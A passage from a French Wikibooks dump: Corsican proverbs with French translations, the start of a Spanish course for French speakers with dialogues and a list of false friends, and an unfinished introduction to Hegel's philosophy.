ghjugni u soli Ci ghjugni u duttori. ''' La maison où le soleil ne parvient pas : c'est le docteur qui y vient. :'''A chì campa n'ha da veda. ''' Celui qui vivra connaîtra des épreuves. :'''A chi dormi un piglia pesci. ''' Celui qui dort ne prend pas de poissons. :'''A chì l'attempa a perdi. ''' Celui qui diffère une chose, finit par la perdre. :'''A chì mali vivi, mali mori. ''' Celui qui vit mal, meurt également mal. :'''A chì stughji un perdi tempu. ''' Celui qui étudie ne perd pas son temps. :'''A chì t'ha culu, tira peta. ''' Celui qui a un cul, pète. :'''A chì t'hà dui casi In una ci piovi. ''' Celui qui possède deux maisons : dans l'une il pleut. :'''A chì troppu si cala, u culu vi mostra. ''' Celui qui se baisse trop, montre son cul. :'''A chi un arrisica Un arrùzzica. ''' Celui qui ne risque rien n'a rien à ronger. (Qui ne risque rien n'a rien). :'''A chi un hè beddu di natura Un vali lavatura. ''' Celui qui n'est pas beau par nature, il ne sert à rien de s'apprêter. :'''A chi un sa piantà, pianta di nuvembri. ''' Celui qui ne sait pas planter, plante en Novembre. :'''A cumpagnia porta l'omu à a forca. ''' La compagnie entraîne l'homme à l'échafaud. :'''A donna faci l'omu. ''' C'est la femme qui fait l'homme. :'''A fami faci escia u lubbu di a tana. ''' La faim fait sortir le loup de sa tanière. :'''A forza di tirà a corda strappa. ''' A force de tirer, la corde finit par rompre. :'''A forza d'impittà S'impara à marchjà. ''' A forcer de cogner, on apprend à marcher. :'''A ghjastema volta e ghjira Volta in capu à chi la tira. ''' L'imprécation tourne et vire, et revient à la figure de celui qui la profère. :'''A lingua ossu un hà e ossu tronca. ''' La langue ne possède pas d'os, mais peut rompre les os. :'''A machja, ochji un ha ma ochji teni. ''' Le maquis ne possède pas d'yeux, mais il voit tout. :'''A pratica vinci a grammatica.''' La théorie domine la pratique. :'''A strada bedda un hè mai longa. ''' Un sentier dégagé ne paraît jamais long. :'''A un bon' cani si dà un bon ossu. ''' A un bon chien, on donne un bon os. (A bon chat, bon rat) :'''A vita hè una affaccata di balconu. ''' La vie ne dure que le temps d'une apparition à la fenêtre. :'''A volpi perdi u pelu ma micca u viziu. ''' Le renard perd le poil, mais pas le vice. :'''Accantu u focu, a paglia ci stà mali. ''' A côté du feu, la paille n'y est pas bien. (Il ne faut pas tenter le diable) :'''Aceddu in cabbia S'eddu un canta d'amori Canta di rabbia. ''' L'oiseau en cage : s'il ne chante pas par amour, il chante de rage. :'''Aghji fedi E Diu pruvvèdi. ''' Aies la foi, et Dieu pourvoira à tes besoins. :'''Aiuta ti, Diu t'aiuta. ''' Aide-toi, le ciel t'aidera. :'''Alliscia a mamma par avè a figliola. ''' Il faut flatter la mère pour avoir la fille. :'''Amori e signuria un vòlini cumpagnia. ''' Les amoureux et les seigneurs veulent se retrouver seuls. :'''Ancu l'onori sò castighi. ''' Même les honneurs sont des châtiments. (Toute médaille a son revers) :'''Aprili Desfa purcili. ''' Avril : défait la porcherie. :'''Aqua corri e sangui strigni. ''' L'eau est fluide ; le sang se caille. (On peut s'appuyer sur les parents) ==B== :'''Babbi e mammi tonti, figlioli astuti. ''' Père et mère fous font des enfants avisés. ==C== :'''Casi frà li casi e vigni frà li vigni. ''' Maisons parmi les maisons et vignes parmi les vignes. (Il faut construire les maisons là où d'autres maisons existent déjà, et planter des vignes là où il en existe d'autres.) :'''Cavaddu di trenta Mai piu ch'eddi ci n'entri. ''' Cheval de trente ans : n'en ajoutez plus. (A trente ans, on commence à vieillir) :'''Cavaddu vechju, zecchi e moschi. ''' Lorsque le cheval et vieux, les tiques et les mouches se mettent dessus. :'''Chè lu mal' vicinu Un durghi chè quant'è a nevi marzulina. ''' Que les mauvaises relations de voisinage ne durent que comme la neige de mars. :'''Chì campa spirendu Mori caghendu. ''' Celui qui vit d'espérance, meurt en chiant. :'''Chì cerca trova. ''' Celui qui cherche trouve. :'''Chi di ghjaddina nasci in terra ruspa. ''' Celui qui naît d'une poule, gratte la terre. :'''Chì di piombu Tomba Di piombu mori. ''' Celui qui tue par le plomb périt par le plomb. :'''Chì disprezza, compra. ''' Celui qui déprécie la marchandise finit par l'acheter. :'''Chi muta Muga. ''' Celui qui fait des changements, blesse. :'''Chi posa Mal pensa. ''' Celui qui demeure assis pense à mal. :'''Chi si chjina incu i ziteddi s'arrizza camisgimerdosu. ''' :'''Chi t'hà solda e amicizia Torci u nasu à a ghjustizia. ''' Celui qui a de l'argent et des amis, tord le nez à la justice. :'''Chì un invechja Hè pena di vita. ''' Celui qui ne vieillit pas est privé de la vie. :'''Chi va e volta, bon' viaghju faci. ''' Celui qui part et puis revient, a fait un bon voyage. :'''Chi va pianu va sanu E chi va sanu va luntanu. ''' Celui qui va lentement va sûrement, et celui qui va sûrement va loin. :'''Ci voli à lacà u fusu À chi n'ha l'usu. ''' Il faut laisser le fuseau à celle dont c'est le métier. (Chacun son métier) :'''Ciò chi hè scrittu in celi segui in terra. ''' Ce qui écrit au ciel, advient sur Terre. :'''Ciò chi un tomba ingrassa. ''' Ce qui ne vous tue pas vous fait grossir. :'''Com'hè corcia a panca Indù un ci posa barba bianca. ''' Comme est triste la banc où jamais aucune barbe blanche ne s'assied. :'''Corciu à chi un ha à nimu. ''' Malheureux celui qui n'a personne. :'''Cosa fatta, loda la ! ''' Lorsqu'une chose est arrivée, il faut la louer. ==D== :'''Di u cateddu tontu, a volpi si ni sfaci. ''' Du chiot fou, le renard s'en défait. ==E== ==F== :'''Figlioli chjughi, pinseri chjughi.Figlioli maiori, pinseri maiori. ''' Petits enfants : petits soucis. Grands enfants : grands soucis. :'''Fora u denti Fora a pena. ''' Une fois la dent arrachée, le mal disparaît. :'''Frivaghju, t'hà setti barretti. ''' En février, le temps est très changeant.(Littéralement: Février a sept casquettes.) ==G== :'''Ghjumenti pudditrata un bii mai aqua linda. ''' La jument qui a eu un poulain ne boit plus jamais de l'eau pure. ==H== :'''Hè l'ochji di u patronu chì ingrassa u cavaddu. ''' C'est l'oeil du patron qui fait grossir le cheval. :'''Hè megliu à cumprà mali chè à venda bè. ''' Mieux vaut faire un mauvais achat que faire une bonne vente (il ne faut pas se départir de ses biens). :'''Hè mègliu ad essa solu cà mali accumpagnatu. ''' Mieux vaut être seul que mal accompagné. :'''Hè megliu ghjenti Ca arghjentu. ''' Mieux vaut des amis et des parents que de l'argent. :'''Hè megliu pocu chè micca. ''' Mieux vaut peu que pas du tout. ==I== :'''I funi longhi diventani sarpi. ''' Les cordes trop longues deviennent des serpents. :'''I guai di a pignatta Un i sà cà u cuchjaronu.''' Les malheurs de la marmite, seule la louche les connaît. :'''I più beddi peri i màngnani i porchi. ''' Les plus belles poires, ce sont les cochons qui les mangent. :'''I solda un vènini micca cantendu. ''' L'argent ne vient pas en chantant. :'''In cumpagnia, u frati presi moglia. ''' En bonne compagnie, le moine prit femme. :'''In ogni lettu, ci hè pulgi. ''' Dans chaque lit, il y a des poux. ==J== ==L== :'''Làcrima di donna hè funtana di malizia. ''' Les larmes des femmes sont des fontaines de malice. :'''L'amori hè cecu. ''' L'amour est aveugle. :'''L'aqua va à u mari. ''' L'eau finit à la mer. ==M== :'''Matrimoniu sittimbrinu O vèduvu o mischinu. ''' Mariage en septembre : soit veuf soit malheureux. :'''Mori più capretti chè capri vechji. ''' Il meurt plus de cabris que de vieilles chèvres. ==N== :'''Nanzi ghjunta la so ora Nè si nasci nè si mori. ''' Avant l'heure, ni on ne naît, ni on ne meurt. :'''Natu a parsona, natu u distinu. ''' Lorsque nait une personne, son destin est tracé. ==O== :'''Oghji eiu, dumani tù. ''' Moi aujourd'hui, toi demain. :'''Ogni tontu t'hà u so filu. ''' (Chaque fou suit son idée. :'''Ognunu sa ciò chi boddi in a so pignatta. ''' Chacun sait ce qui bout dans sa marmite. :'''Ora vivu ora mortu. ''' Vivant à une heure, mort à l'autre. (on peut mourir d'1 coup) ==P== :'''Par cunnoscia la ghjenti, ci voli à mangnà una somma di sali insemu. ''' Pour connaître les gens, il faut manger ensemble toute la cargaison de sel d'un âne. :'''Par maghju o par maghjonu Un ti caccià u to pilonu. ''' Que mai soit beau ou non, n'enlève pas ton manteau. :'''Par viaghju s'acconcia a somma. ''' En voyage, le chargement se met en place. :'''Piu pècuri, piu mocci. ''' Autant de brebis, autant de rhumes. ==Q== :'''Quand'è tù credi d'essa à cavaddu un sè mancu à pedi. ''' Si tu crois être parvenu au sommet, attention, tu peux retomber aussitôt. :'''Quandu u ghjàcaru invechja, a volpi li piscia addossu. ''' Lorsque le chien vieillit, le renard lui pisse dessus. :'''Quandu u porcu hè tecchju si volta a trova. ''' Quand le cochon est repu, il retourne son auge. ==R== :'''Ronchi samirini un còddani in celi. ''' Les braiments des ânes ne montent pas au ciel. ==S== :'''Saccu biotu un pò stà rittu. ''' Un sac vide ne peut pas tenir debout. :'''Saccu pienu un pò piigà. ''' Un sac plein ne peut pas plier. :'''Sè i guai si mittiani à u soli Ognunu ripigliaria i soi. ''' Si chacun devait exposer tous ses malheurs au vu de tous, chacun reprendrait finalement les siens. :'''Sè u ghjòvanu vulissi e u vechju pudissi. ''' Si jeunesse voulait et vieillesse pouvait. :'''Si sbaglia ancu u preti à l'altari. ''' Même le prêtre à l'autel se trompe. (L'erreur est humaine.) :'''Sparti ricchezza e torra puvertà. ''' Partagez les richesses, et la pauvreté reviendra. (plus on partage, plus il ne reste plus grand chose) ==T== :'''Tal calzu, tal magliolu Tal babbu, tal figliolu. ''' Tel cep, telle bouture. Tel père, tel fils. :'''Tira più un pelu di muzza in cuddata Cà dui paghji di boia in falata. ''' Un poil du sexe d'une femme en montée a plus de force que deux paires de boeufs en descente. ==U== :'''U boiu chi un vo bia Hè un gattivu zifulà. ''' Il ne sert à rien de siffler un boeuf qui ne veut pas boire. :'''U cavaddu ghjastimatu, u pelu li luci. ''' Le cheval que l'on maudit a le poil luisant. :'''U megliu oru hè quiddu chi piega. ''' Le meilleur or est celui qui se plie. (celui qui est souple réussit mieux) :'''U mondu hè fattu à scala A chi codda e à chi fala. ''' Le monde est comme une échelle : les uns montent, et les autres descendent. :'''U peghju calciu hè quiddu di u cavaddu mansu. ''' Le pire coup de pied est celui du cheval apprivoisé. :'''U Signori à qual' eddu ama, tocca. ''' Le Seigneur met à l'épreuve ceux qu'il aime. :'''U soli sorti par tutti. ''' Le soleil brille pour tout le monde. (la chance finit par sourire) :'''U techju un credi u famitu. ''' Celui qui est repu ne croit pas celui qui est affamé. :'''U troppu bè s'arrivolta. ''' (Faire trop de bien nuit. (Si on fait trop de bien aux gens, on finit par en retirer des ennuis.) :'''U troppu stroppia. ''' Trop, c'est trop. :'''Un ci hè sàbatu senza soli Comu donna senza amori. ''' Il n'y a pas de samedi sans soleil, comme de femme sans amour. :'''Un disòrdini Faci un òrdini. ''' L'ordre naît du désordre. :'''Un hè bellu quel' chi hè bellu, quantu hè bellu quel' chi piaci. ''' Ce qui est beau n'est jamais aussi beau que ce qui plaît. :'''Un si po fà u passu più longu chè l'infurcatura. ''' On ne peut faire un pas plus grand que ses jambes. (il ne faut pas péter plus haut que son cul) :'''Un si po tena i dui pedi in u scarpu. ''' On ne peut mettre les deux pieds dans une seule chaussure. (On ne peut courir deux lièvres à la fois) :'''Un trema una foglia Chi Diu nun voglia. ''' Aucune feuille ne tremble, sans que Dieu ne l'ait voulu. ==V== :'''Vali più un tontu à fattu soiu cà centu astuti à quiddi di l'altri. ''' Il vaut mieux un fou faisant ce qu'il sait faire, que cent sages faisant ce qu'ils ne savent pas faire. :'''Vesti un bastonu Pari un baronu. Vesti una tama Pari una dama. ''' Habille un bâton, il paraît un baron. Habille une souche de bruyère, on dirait une dame. ==Z== '''See also:''' [[List of proverbs]] [http://co.wikipedia.org Wikipedia in lingua corsa]. Enseignement de l'espagnol 249 40402 2006-04-16T20:17:44Z 81.220.111.81 /* El vocabulario */ {{Cours_d_espagnol}} __NOTOC__ [[Cours d'espagnol : Couverture|Página de bienvenidos]] ''Page de bienvenue'' [[Cours d'espagnol : Introduction|Introducción: Cómo estudiar el español]] ''Introduction: Comment étudier l'espagnol'' == Lecciones ''(Leçons)'' == #[[Cours d'espagnol : Leçon 1| Cómo presentarse]] ''Les présentations'' #[[Cours d'espagnol : Leçon 2| De viaje]] ''Les voyages'' #[[Cours d'espagnol : Leçon 3| Actividades recreacionales]] ''Les loisirs'' #[[Cours d'espagnol : Leçon 4| La familia]] ''La famille'' #[[Cours d'espagnol :Leçon 5| La escuela]] ''L'école'' #[[Cours d'espagnol : Leçon 6| De compras]] ''Les courses'' #[[Cours d'espagnol : Leçon 7| En la casa]] ''La maison'' #[[Cours d'espagnol : Leçon 8| La ayuda médica]] ''Les soins médicaux'' #[[Cours d'espagnol : Leçon 9| Las culturas hispánicas]] ''Les cultures hispaniques'' ---- == El vocabulario == [[Cours d'espagnol : Annexe 1|Vocabulaire]] | [[Cours d'espagnol : Los deportes|Les sports]] | [[Cours d'espagnol : En la sala de urgencias|Dans la salle d'urgence]] | [[Cours d'espagnol : El amor|L'amour]] | [[Cours d'espagnol : La tecnología | Les technologies]] | [[Cours d'espagnol : La familia|La famille]] |[http://wikitravel.org/en/article/Spanish_phrasebook Phrases utiles sur Wikitravel.org] === Aprende cada día distintas palabras: === <br clear=all> {| align=center id=toc style="center: 15px;" |align=center colspan=2 bgcolor=#ccccff| '''[[:es:Plantilla:Vocabulario/{{CURRENTDAY}} (es)|LAS PALABRAS DEL DÍA<br/> {{CURRENTDAY}} del {{CURRENTMONTH}} de {{CURRENTYEAR}}]]''' |} == La gramática ''(Grammaire)'' == == Apéndices ''(Annexes)'' == :[[wikt:fr:Annexes:Espagnol:Prononciation|Cómo pronunciar palabras en español]] ''Prononciation de l'espagnol'' :[[Espagnol Appendice C|Cómo teclear letras castellanas]] ''Comment écrire les caractères espagnols'' :[[Espagnol Appendice E| Respuestas a los ejercicios]] ''Solutions des exercices'' :[[Espagnol Appendice FE| Diccionario Francés-Español]] ''Dictionnaire Français-Espagnol'' :[[Espagnol Appendice A| Los modismos]] ''Argot'' :[[Espagnol Appendice EF| Diccionario Español-Francés]] ''Dictionnaire Espagnol-Français'' :[[Espagnol Appendice V| Los verbos en español]] ''Les verbes espagnols'' :[[Espagnol Appendice W| Recursos de español por Internet]] ''Ressources espagnoles sur la Toile'' ---- == Índices ''(Indexes)'' == :[[Espagnol Index I|Temas de vocabulario]] ''Vocabulaire thématique'' :[[Espagnol Index II|Temas de la gramática]] ''Grammaire thématique'' :[[Espagnol Index III| Temas de la pronunciación]] ''Prononciation thématique'' :[[Espagnol Index IV|Temas de los tiempos de los verbos]] ''Conjuguaison thématique'' :[[Espagnol Index V|Lista de archivos de audio]] ''Liste des fichiers sonores'' ---- == Sobre ese libro ''(A propos de ce livre)'' == #[[Cours d'espagnol : Auteurs|Autores]] ''Auteurs'' #[[Espagnol Historique| La historia]] ''Historique'' Por favor, deja ideas para capítulos nuevos en la página de [[Discuter:Cours d'espagnol|habla]]. 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'' == Voir aussi == * [[Faux amis en espagnol]] * [[Espagnol:Culture_espagnole|La culture espagnole]] * [[wikt:fr:Catégorie:espagnol|Espagnol dans le wiktionnaire]] * [[wikt:es:Portada|Wikcionario, le wiktionnaire espagnol]] [[Catégorie:Langue|Espagnol]] [[de:Spanisch]] [[en:Spanish]] [[es:El español como idioma extranjero (Portada)]] [[pl:Hiszpański]] [[pt:Espanhol]] [[sv:Spanska]] [[vi:Vamos a Empezar]] Modèle:Cours d espagnol 250 12046 2004-08-01T15:03:02Z HB 15 migration (auteur Yann, Youssefsan) ''' [[Cours d'espagnol]] ''' | Leçons: [[Cours d'espagnol : Leçon 1|1]] | [[Cours d'espagnol : Leçon 2|2]] | [[Cours d'espagnol : Leçon 3|3]] | [[Cours d'espagnol : Leçon 4|4]] | [[Cours d'espagnol : Leçon 5|5]] | [[Cours d'espagnol : Leçon 6|6]] | [[Cours d'espagnol : Leçon 7|7]] | [[Cours d'espagnol : Leçon 8|8]] | [[Cours d'espagnol : Leçon 9|9]] Cours d'espagnol : Leçon 1 251 44596 2006-06-15T19:44:52Z 86.219.66.66 Le correspondant du français 'tu' est la terminaison du verbe. {{cours d espagnol}} ---- == Dialogue d'exemple 1 == Deux bons amis, Carmen et Roberto, se rencontrent: <table border="1" bgcolor="#99FF99"> <tr><td> ''Carmen'': Hola Roberto. ¿Cómo estás? <br> ''Roberto'': Estoy bien, gracias. ¿Y tú? <br> ''Carmen'': Estoy bien. <br> ''Roberto'': ¿Qué hay de nuevo? <br> ''Carmen'': No mucho. <br> ''Carmen'': Adiós, Roberto. <br> ''Roberto'': Adiós, hasta mañana. <br> </td></tr> </table> '''Audio''': [[media:SpanishL1D1.ogg|OGG]] (139KB) [[Image:Novios.jpg]] '''Carmen y Roberto''' <table border="1" bgcolor="#FFFF99"> <tr><td>hola </td><td>Bonjour, salut </td></tr> <tr><td>¿Cómo estás? </td><td>Comment vas-tu? </td></tr> <tr><td>¿Cómo está? </td><td>Comment allez-vous? </td></tr> <tr><td>(Yo) estoy bien. </td><td>Je vais bien. </td></tr> <tr><td>gracias </td><td>Merci </td></tr> <tr><td>de nada </td><td> de rien </td></tr> <tr><td>y </td><td>et </td></tr> <tr><td>tú </td><td>toi </td></tr> <tr><td>¿Qué pasó? </td><td>Que se passe-t-il? Quoi de neuf? (au Mexique, que s'est-il passé? ailleurs)</td></tr> <tr><td>¿Qué tal? </td><td>Comment ça va? </td></tr> <tr><td>¿Qué hay de nuevo? </td><td>Quoi de neuf? </td></tr> <tr><td>no mucho </td><td>rien </td></tr> <tr><td>adiós </td><td>Au revoir </td></tr> <tr><td>Hasta mañana. </td><td>À demain. </td></tr> <tr><td>Hasta luego. </td><td>À bientôt. </td></tr> </table> ---- == Dialogue d'exemple 2 == Deux personnes, Monsieur González et Madame Pérez, se rencontrent pour la première fois: <table border="0" bgcolor="#99FF99"> <tr><td>''Señor González'': </td><td>Buenos días. ¿Cómo se llama? </td></tr> <tr><td>''Señora Pérez'': </td><td>Me llamo Ana Pérez. ¿Y usted? </td></tr> <tr><td>''Señor González'': </td><td>Soy Luis González. Encantado. </td></tr> <tr><td>''Señora Pérez'': </td><td>Encantada. </td></tr> </table> '''Audio''': [[media:SpanishL1D2.ogg|OGG]] (127KB) === Vocabulaire === <table border="1" bgcolor="#FFFF99"> <tr><td>Buenos días. </td><td>Bonjour. </td></tr> <tr><td>Buenas tardes. </td><td>Bon après-midi. </td></tr> <tr><td>Buenas noches. </td><td>Bonne nuit. </td></tr> <tr><td>Me llamo... </td><td>Je m'appelle... </td></tr> <tr><td>Soy... </td><td>Je suis... </td></tr> <tr><td>tú </td><td>Toi </td></tr> <tr><td>¿Cómo te llamas? </td><td>Comment t'appelles-tu ? </td></tr> <tr><td>usted </td><td>Vous </td></tr> <tr><td>¿Cómo se llama? </td><td>Comment vous appelez-vous? </td></tr> <tr><td>Encantado/Encantada. </td><td>Enchanté. </td></tr> <tr><td>Mucho gusto. </td><td>C'est un plaisir </td></tr> </table> Image:Novios.jpg 253 12048 2004-08-01T15:15:35Z HB 15 migration (auteur Karl Wick) migration (auteur Karl Wick) Cours d'espagnol : Couverture 254 42917 2006-05-21T00:04:41Z 200.121.5.213 <center><big>'''¡Bienvenidos! '''</big><br> ''Bienvenue !'' </center> {| border="0" cellpadding="5" cellspacing="0" align="center" |- align=center | [[Image:Spain_flag_medium.png | Flag of España]] | [[Image:Mexico_flag_medium.png | Flag of México]] | [[Image:Argentina_flag_medium.png | Flag of Argentina]] |- align=center | <small>[[w:fr:Espagne | España]]</small> | <small>[[w:fr:Mexique | México]]</small> | <small>[[w:fr:Argentine| Argentina]]</small> |- align=center | [[Image:Colombia_flag_medium.png | Flag of Colombia]] | [[Image:Flag of Peru.svg|125px| Flag of Peru]] | [[Image:Venezuela_flag_medium.png | Flag of Venezuela]] |- align=center | <small>[[w:fr:Colombia | Colombie]]</small> | <small>[[w:fr:Pérou | Perú]]</small> | <small>[[w:fr:Venezuela| Venezuela]]</small> |} <center><big>'''[[Cours d'espagnol|Ir a los contenidos -->]]''' </big><br> ''Entrer dans le cours -->''</center> [[de:Spanisch]] [[en:Spanish]] [[es:El español como idioma extranjero (Portada)]] [[pl:Hiszpański]] [[pt:Espanhol]] [[vi:Vamos a Empezar]] Image:Spain flag medium.png 255 12050 2004-08-01T15:25:50Z HB 15 migration (auteur ThomasStrohmann ) migration (auteur ThomasStrohmann ) Image:Mexico flag medium.png 256 12051 2004-08-01T15:33:37Z HB 15 migration (auteur ThomasStrohmann ) migration (auteur ThomasStrohmann ) Image:Argentina flag medium.png 257 12052 2004-08-01T15:38:10Z HB 15 migration (auteur ThomasStrohmann ) migration (auteur ThomasStrohmann ) Image:Colombia flag medium.png 258 12053 2004-08-01T15:42:30Z HB 15 migration (auteur ThomasStrohmann ) migration (auteur ThomasStrohmann ) Image:Peru flag medium.png 259 12054 2004-08-01T15:44:15Z HB 15 migration (auteur ThomasStrohmann ) migration (auteur ThomasStrohmann ) Image:Venezuela flag medium.png 260 12055 2004-08-01T15:46:10Z HB 15 migration (auteur ThomasStrohmann ) migration (auteur ThomasStrohmann ) Cours d'espagnol : Auteurs 261 12056 2004-08-24T12:22:52Z 128.178.75.3 [[Cours d'espagnol| ^ Cours d'espagnol ^]] | Au sujet du livre auteurs : ---- Ce cours d'espagnol s'inspire du livre rédigé en anglais. C'est [http://en.wikibooks.org/wiki/User:ThomasStrohmann ThomasStrohmann] qui avait démarré la version anglaise. Puis, y contribuèrent, entre autres : *[http://en.wikibooks.org/wiki/User:Karl_WickKarl Wick] ; *[http://en.wikibooks.org/wiki/User:Wintermute Wintermute] ; * Mariela Riva ; *[http://en.wikibooks.org/wiki/User:Mxn Minh Nguy&#x1ec5;n] ; *[http://en.wikibooks.org/wiki/User:Sabbut Sabbut]. Dans la version francophone, participèrent notamment : * [[User:Popolon]] Traduction du wikibook en: * [http://en.wikibooks.org/wiki/User:Youssefsan Oualmakran Youssef] ---- [[Cours d'espagnol| ^ Cours d'espagnol ^]] | Au sujet du livre auteurs : Faux amis en espagnol 262 42668 2006-05-17T15:07:42Z 86.219.197.54 {{cours d espagnol}} Liste de '''faux amis en [[w:espagnol|espagnol]]''' {| border="1" ! espagnol !! signifie !! français !! signifie |- | ''década'' || décennie (période de 10 ans) || décade || ''diez días'' |- | ''constipado/a'' || enrhumé(e) || constipé(e) || ''estreñido/a'' |- |''jubilación'' || la retraite || la jubilation || ''júbilo'' |- | ''marcharse'' || s'en aller || marcher || ''caminar'' |- | ''mentar'' || insulter, mentionner || mentir || ''mentir'' |- | salir || sortir || salir || ''ensuciar'' |- | ''subir'' || monter || subir || ''sufrir, padecer'' |} ''bigote'' : moustache ''cigala'' : langoustine ''langostino'' : grosse crevette ''débil'' : faible ''salir'' : sortir ''marchar'' : s'en aller ''constipado'' (con:avec + stipado:raid/compacte) : enrhumé ''gato'' : chat ''quitar'' : enlever, ôter ''entender'' : comprendre ''discutir'' : se disputer ''tirar'' : jeter [[Catégorie:Faux amis|Espagnol]] [[Catégorie:Espagnol|Faux amis]] Introduction à la philosophie de Hegel 263 30214 2006-01-24T22:31:00Z Greudin 1 restitution de la dernière modification de Marc {{EnTravaux}} Cette introduction proposera une approche progressive de la pensée hegelienne. Nous nous en tiendrons pour le moment à une introduction en quatre parties : *Niveau assez facile : une approche historique, cherchant les racines de la pensée de Hegel ; *Niveau moyen : une introduction par les cours de la ''Propédeutique philosophique'' (notions et articulations fondamentales) ; *Niveau difficile : un approfondissement utilisant divers commentateurs ; *Niveau très difficile : une lecture de deux oeuvres ([[La Phénoménologie de l'Esprit]] et l'Encyclopédie). Nous donnerons également un vocabulaire à la fin de cette introduction. == La constitution de la pensée hégélienne == La pensée de Hegel ne s'est pas constituée d'un coup ; on peut en décrire la genèse en distinguant plusieurs périodes avant la rédaction de la Phénoménologie de l'Esprit. Nous suivrons ici les cours de Jacques Rivelaygues, ''Leçons de métaphysique allemande''. Dans ses cours, l'auteur nous présente les interrogations de Hegel, l'influence de ses lectures et de l'histoire. Quels sont les intérêts de Hegel ? Hegel s'intéressa très tôt (années 1780-1790) à la fonction sociale de la religion. Deux questions liant religion et politique : *quelle doit être la religion d'un peuple pour qu'il soit libre ? *comment un peuple doit-il être constitué pour être libre ? Hegel pense ainsi à transformer la politique allemande par la transformation des esprits et de la religion. === L'idéalisme allemand === === Le modèle grec === Lessing et Winckelmann avaient crée une vision de la Grèce faite d'harmonie et de sérénité. De même, pour Hegel, la cité réalise l'harmonie de l'Etat et de l'individu : l'individu s'identifie à la totalité, et les destins de la cité et de l'individu sont inséparables. Dans ce contexte politique, une religion de la transcendance est impossible : le divin est immanent, il n'y a pas de cité de Dieu, comme dans le christianisme (cf. Augustin) : :''Notre religion (à la différence de la religion grecque) veut éduquer les hommes à être des citoyens du ciel qui ont le regard toujours en haut et cela les rend étrangers aux sentiments humains.'' Mais cela signifie que le modèle grec ne peut être réalisé tel quel par les peuples modernes et qu'il faut donc tenter de modifier le christianisme pour qu'il réalise une harmonie nouvelle unissant le particulier et l'universel ; à cette époque, pour Hegel, c'est l'amour chrétien qui doit permettre de fonder un sens de la collectivité. Hegel ne s'occupe pas de la religion privée, qui ne concerne que l'individu ; seule la religion publique doit faire l'objet d'une réflexion philosophique. Hegel retient trois caractéristiques de l'idéal grec : *l'histoire est création, la cité ne la subit pas, mais elle est voulue ; *l'Etat est fondé sur la liberté : l'idéal éthique de l'individu se réalise dans la collectivité (le bonheur est donc réalisé ici-bas) ; *la religion inspire l'amour de la liberté, elle n'inspire pas la mauvaise conscience et rejette le péché. La religion grecque n'a pas de dogmes ni d'institutions, mais une mythologie qui inspire la moralité et la vertu. === La Révolution française === La Révolution est apparue à Hegel comme la renaissance de l'harmonie de la cité grecque. === Influence kantienne === (à venir) ==''Propédeutique philosophique''== Avant d'aborder la propédeutique proprement dite, voici une vue d'ensemble très succincte de la pensée de Hegel. Elle a uniquement pour but d'en donner une idée très générale et très schématique. La propédeutique aura ensuite pour finalité d'exposer le plus clairement qu'il est possible les concepts de Hegel. Ceci constituera donc une première étape vers un lecture détaillée de l'ensemble de l'oeuvre. === Vue d'ensemble === La philosophie de Hegel est une philosophie de l'esprit absolu et de son déploiement dialectique qui constitue la réalité et son devenir. Cette dialectique a pu être considérée comme une théologie de l'histoire, mais elle a également donné lieu à de nombreuses interprétations contradictoires du fait de sa difficulté. Cette philosophie est essentiellement déterminée par la notion de dialectique, qui est tout à la fois un concept, un principe d'intelligibilité, et, selon Hegel, le mouvement réel qui gouverne les choses du monde. La pensée hégélienne est donc la compréhension de l’histoire de ce qu'il appelle l'Idée, Idée qui, après s’être extérioriser dans la nature, revient en elle-même en niant cette altérité pour s'intérioriser, s'approfondir et se réaliser dans des formes culturelles (suivant une hiérarchie formelle d'un contenu identique : art, religion et philosophie). D’un point de vue très général, c’est donc une pensée qui veut concilier les opposés qui apparaissent, par la conciliation des philosophies de l'Etre et des philosophies du devenir. En effet, avec la dialectique, ces oppositions cessent d'être figées puisque le mouvement d'une chose est d'être posée, puis de passer dans son contraire, et ensuite de réconcilier ces deux états. Ainsi, l'être n'est-il pas le contraire du Néant ; l'être passe dans le néant, le néant dans l’être, et le devenir en est le résultat : « Le néant, en tant que ce néant immédiat, égal à soi-même, est de même, inversement, la même chose que l’être. La vérité de l’être, ainsi que du néant, est par suite l’unité des deux ; cette unité est le devenir. » (La Science de la logique) Cette histoire trouve alors son sommet dans l'État, où l'Idée s’accomplit dans une organisation juridique capable de réaliser la liberté qui est son essence, i.e. ce qu'elle était déjà en germe. l'État est ainsi l'Idée qui se concrétise dans une société humaine, dans un peuple dont l'Idée est l'esprit, et qui est menée à son terme par le grand homme. Mais cet achèvement étant atteint, c’est la philosophie qui réalise pleinement la liberté : parvenu au savoir absolu, à la liberté du concept, la philosophie reprend en effet la totalité du savoir, i.e. l'ensemble des moments du processus, et se constitue par ce moyen comme science, comme savoir absolu de l'être. On voit donc que, pour Hegel, l'histoire s’achève avec son époque : tout ce développement dialectique, réalisé dans l’État, dans l'art, la religion, la philosophie, dans l'ensemble des institutions humaines qui expriment le travail du concept, trouve sa vérité et son accomplissement à l’époque de Hegel et dans ses livres … Cette volonté de clôture de l'histoire a engendrer de violentes critiques (par exemple Nietzsche). Étant donnée cette dialectique de la totalité, i.e. le fait que la philosophie comprend la totalité du réel, Hegel reprend en un système le savoir de son temps, système où tous les concepts sont liés dans un ensemble organique. L'œuvre capitale de Hegel est de ce point de vue l'[[Encyclopédie des sciences philosophiques]], dont le plan est l'architecture du système de la philosophie. Il est composé de trois parties : *[[La Science de la logique]], science de l'idée en soi et pour soi dans l'élément abstrait de la pensée ; * la philosophie de la nature, science de l'Idée dans ce qui constitue son devenir autre ; * la philosophie de l'esprit, science de l'Idée retournant à soi. Puisque tous les aspects de la réalité sont selon Hegel l'expression d'un mouvement dialectique, on ne doit pas séparer les domaines d'études : on doit comprendre ''ensemble'' : histoire, morale, droit, art, religion, philosophie. === Exposé === Cet exposé se fonde sur les cours de philosophie donnés par Hegel lui-même, et réunis sous le titre de ''Propédeutique philosophique''. L'intérêt de ces cours est qu'ils nous donnent une vision d'ensemble de la pensée hégélienne, et sont d'un niveau plus abordable que les grandes oeuvres telle que l' ''Encyclopédie''. Ils vont donc tout d'abord nous permettre de saisir la structure d'ensemble de cette philosophie, structure qui ne lui est pas extérieure, mais qui en constitue le mouvement ; ils nous permettront en même temps de développer les concepts essentiels utilisés par Hegel. L'ensemble de cet exposé pourra donc servir d'outils à la lecture d'oeuvres plus difficiles et souvent moins explicites. ==== A. Phénoménologie de l'esprit ==== Commençons par expliquer brièvement ce qu'est la phénomélogie : elle consiste à étudier le développement de la conscience. Il s'agit donc, à première vue, d'une ''histoire'' de la conscience. Nous verrons que cet aspect chronologique doit être 